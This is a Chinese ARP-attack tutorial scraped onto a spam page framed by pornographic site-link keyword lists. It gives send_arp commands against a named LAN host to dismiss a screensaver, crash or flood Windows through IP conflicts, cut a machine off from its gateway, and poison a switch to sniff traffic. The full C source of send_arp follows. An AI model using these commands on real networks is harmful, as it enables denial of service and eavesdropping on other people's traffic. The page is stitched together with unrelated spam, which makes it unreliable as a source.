六月婷婷综合激情-六月婷婷综合-六月婷婷在线观看-六月婷婷在线-亚洲黄色在线网站-亚洲黄色在线观看网站

明輝手游網(wǎng)中心:是一個(gè)免費(fèi)提供流行視頻軟件教程、在線學(xué)習(xí)分享的學(xué)習(xí)平臺(tái)!

玩轉(zhuǎn)ARP攻擊_ARP原理

[摘要]我寫這片文章只是想讓你明白深刻理解某一協(xié)議的好處。 高手免看。 如果有人利用這片文章所做的一切事情, 蓋不負(fù)責(zé)。 網(wǎng)上關(guān)于ARP的資料已經(jīng)很多了, 就不用我都說了。 用某一位高手的話...

我寫這片文章只是想讓你明白深刻理解某一協(xié)議的好處。 高手免看。 如果有人利用這片文章所做的一切事情, 蓋不負(fù)責(zé)。

網(wǎng)上關(guān)于ARP的資料已經(jīng)很多了, 就不用我都說了。 用某一位高手的話來說, “我們能做的事情很多, 唯一受限制的是我們的創(chuàng)造力和想象力”。

ARP也是如此。

以下討論的機(jī)子有

一個(gè)要攻擊的機(jī)子:10.5.4.178

硬件地址:52:54:4C:98:EE:2F

我的機(jī)子: :10.5.3.69

硬件地址:52:54:4C:98:ED:C5

網(wǎng)關(guān): 10.5.0.3

硬件地址:00:90:26:3D:0C:F3

一臺(tái)交換機(jī)另一端口的機(jī)子:10.5.3.3

硬件地址:52:54:4C:98:ED:F7

一:用ARP破WINDOWS的屏保

原理:利用IP沖突的級(jí)別比屏保高, 當(dāng)有沖突時(shí), 就會(huì)跳出屏保。

關(guān)鍵:ARP包的數(shù)量適當(dāng)。

[root@sztcww tools]# ./send_arp 10.5.4.178 00:90:26:3D:0C:F3 \

10.5.4.178 52:54:4C:98:EE:2F 40

二:用ARP導(dǎo)致IP沖突, 死機(jī)

原理:WINDOWS 9X, NT4在處理IP沖突時(shí), 處理不過來, 導(dǎo)致死機(jī)。

注:對(duì)WINDOWS 2K, LINUX相當(dāng)于flooding,只是比一般的FLOODING 有效的多.對(duì)LINUX, 明顯系統(tǒng)被拖慢。

[root@sztcww tools]# ./send_arp 10.5.4.178 00:90:26:3D:0C:F3 \

10.5.4.178 52:54:4C:98:EE:2F 999999999

三:用ARP欺騙網(wǎng)關(guān), 可導(dǎo)致局域網(wǎng)的某臺(tái)機(jī)子出不了網(wǎng)關(guān)。

原理:用ARP應(yīng)答包去刷新對(duì)應(yīng)著要使之出不去的機(jī)子。

[root@sztcww tools]# ./send_arp 10.5.4.178 52:54:4C:98:EE:22 \

10.5.4.178 00:90:26:3D:0C:F3 1

注意:如果單單如上的命令, 大概只能有效幾秒鐘, 網(wǎng)關(guān)機(jī)子里的ARP高速緩存會(huì)被被攻擊的機(jī)子正確刷新, 于是只要...

四:用ARP欺騙交換機(jī), 可監(jiān)聽到交換機(jī)另一端的機(jī)子。

可能需要修改一下send_arp.c,構(gòu)造如下的數(shù)據(jù)包。

ethhdr

srchw:52:54:4C:98:ED:F7--->dsthw:FF:FF:FF:FF:FF:FF proto:806H

arphdr

hwtype:1 protol:800H hw_size:6 pro_size:4 op:1

s_ha:52:54:4C:98:ED:F7 s_ip:10.5.3.3

d_ha:00:00:00:00:00:00 d_ip:10.5.3.3

然后就可以sniffer了。

原理:

交換機(jī)是具有記憶MAC地址功能的,它維護(hù)一張MAC地址和它的口號(hào)表

所以你可以先來個(gè)ARP 欺騙,然后就可以監(jiān)聽了

不過需要指出,欺騙以后,同一個(gè)MAC地址就有兩個(gè)端口號(hào)

yuange說, “這樣其實(shí)就是一個(gè)競(jìng)爭(zhēng)問題。 ”

好象ARP 以后,對(duì)整個(gè)網(wǎng)絡(luò)會(huì)有點(diǎn)影響,不過我不敢確定

既然是競(jìng)爭(zhēng),所以監(jiān)聽也只能監(jiān)聽一部分,不象同一HUB下的監(jiān)聽。

對(duì)被監(jiān)聽者會(huì)有影響, 因?yàn)樗袅艘徊糠謹(jǐn)?shù)據(jù)。

當(dāng)然還有其他一些應(yīng)用, 需要其他技術(shù)的配合。

以下是send_arp.c的源程序

CODE:
/*

This program sends out one ARP packet with source/target IP

and Ethernet hardware addresses suuplied by the user. It

compiles and works on Linux and will probably work on any

Unix that has SOCK_PACKET. volobuev@t1.chem.umn.edu

*/

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#define ETH_HW_ADDR_LEN 6

#define IP_ADDR_LEN 4

#define ARP_FRAME_TYPE 0x0806

#define ETHER_HW_TYPE 1

#define IP_PROTO_TYPE 0x0800

#define OP_ARP_REQUEST 2

#define OP_ARP_QUEST 1

#define DEFAULT_DEVICE "eth0"

char usage[] = {"send_arp: sends out custom ARP packet. yuri volobuev

usage: send_arp src_ip_addr src_hw_addr targ_ip_addr tar_hw_addr number"};

struct arp_packet

{

u_char targ_hw_addr[ETH_HW_ADDR_LEN];

u_char src_hw_addr[ETH_HW_ADDR_LEN];

u_short frame_type;

u_short hw_type;

u_short prot_type;

u_char hw_addr_size;

u_char prot_addr_size;

u_short op;

u_char sndr_hw_addr[ETH_HW_ADDR_LEN];

u_char sndr_ip_addr[IP_ADDR_LEN];

u_char rcpt_hw_addr[ETH_HW_ADDR_LEN];

u_char rcpt_ip_addr[IP_ADDR_LEN];

u_char padding[18];

};

void die (char *);

void get_ip_addr (struct in_addr *, char *);

void get_hw_addr (char *, char *);

int main (int argc, char * argv[])

{

struct in_addr src_in_addr, targ_in_addr;

struct arp_packet pkt;

struct sockaddr sa;

int sock;

int j,number;

if (argc != 6)

die(usage);

sock = socket(AF_INET, SOCK_PACKET, htons(ETH_P_RARP));

if (sock < 0)

{

perror("socket");

exit(1);

}

number=atoi(argv[5]);

pkt.frame_type = htons(ARP_FRAME_TYPE);

pkt.hw_type = htons(ETHER_HW_TYPE);

pkt.prot_type = htons(IP_PROTO_TYPE);

pkt.hw_addr_size = ETH_HW_ADDR_LEN;

pkt.prot_addr_size = IP_ADDR_LEN;

pkt.op = htons(OP_ARP_QUEST);

get_hw_addr(pkt.targ_hw_addr, argv[4]);

get_hw_addr(pkt.rcpt_hw_addr, argv[4]);

get_hw_addr(pkt.src_hw_addr, argv[2]);

get_hw_addr(pkt.sndr_hw_addr, argv[2]);

get_ip_addr(&src_in_addr, argv[1]);

get_ip_addr(&targ_in_addr, argv[3]);

memcpy(pkt.sndr_ip_addr, &src_in_addr, IP_ADDR_LEN);

memcpy(pkt.rcpt_ip_addr, &targ_in_addr, IP_ADDR_LEN);

bzero(pkt.padding,18);

strcpy(sa.sa_data,DEFAULT_DEVICE);

for (j=0;j {

if (sendto(sock,&pkt,sizeof(pkt),0,&sa,sizeof(sa)) < 0)

{

perror("sendto");

exit(1);

}

}

exit(0);

}

void die (char *str)

{

fprintf(stderr,"%s\n",str);

exit(1);

}

void get_ip_addr (struct in_addr *in_addr, char *str)

{

struct hostent *hostp;

in_addr->s_addr = inet_addr(str);

if(in_addr->s_addr == -1)

{

if ((hostp = gethostbyname(str)))

bcopy(hostp->h_addr, in_addr, hostp->h_length);

else {

fprintf(stderr, "send_arp: unknown host %s\n", str);

exit(1);

}

}

}

void get_hw_addr (char *buf, char *str)

{

int i;

char c, val;

for(i = 0; i < ETH_HW_ADDR_LEN; i++)

{

if (!(c = tolower(*str++)))

die("Invalid hardware address");

if (isdigit(c))

val = c - '0';

else if (c >= 'a' && c <= 'f')

val = c-'a'+10;

else

die("Invalid hardware address");

*buf = val << 4;

if (!(c = tolower(*str++)))

die("Invalid hardware address");

if (isdigit(c))

val = c - '0';

else if (c >= 'a' && c <= 'f')

val = c-'a'+10;

else

die("Invalid hardware address");

*buf++ = val;

if (*str == ':')

str++;

}

}

 

上面是電腦上網(wǎng)安全的一些基礎(chǔ)常識(shí),學(xué)習(xí)了安全知識(shí),幾乎可以讓你免費(fèi)電腦中毒的煩擾。




主站蜘蛛池模板: 色综合一区二区三区 | 亚洲视频www | 亚欧成人中文字幕一区 | 亚洲高清资源在线观看 | 人人色在线视频播放 | 亚洲精品中文字幕午夜 | 亚洲精品中文字幕乱码影院 | 午夜高清视频 | 色天使久久 | 色综合久久久久久中文网 | 一二三四影院免费 | 伊人精品在线观看 | 人人揉人人添人人捏人人看 | 亚洲视频国产视频 | 色宅男中文字幕亚洲专区 | 亚洲午夜在线观看 | 日日夜夜综合 | 羞羞答答免费人成黄页在线观看国产 | 日韩欧美视频在线播放 | 天天摸日日摸人人看 | 日本色站 | 最近中文字幕无吗高清免费视频 | 亚洲αv | 青草综合 | 亚洲精品自拍 | 日本韩国三级在线 | 天色噜噜噜噜 | 青青动漫 | 午夜精品视频5000 | 天干夜天天夜天干天 | 欧洲真实呦女网站 | 欧美视频日韩专区午夜 | 天天干天天综合 | 午夜手机福利视频 | 午夜性影院爽爽爽爽爽爽 | 亚洲最稳定资源在线观看 | 四虎综合网| 深夜国产一区二区三区在线看 | 日本三级韩国三级香港三级网站 | 人人干日日干 | 日日噜噜夜夜狠狠视频欧美人 |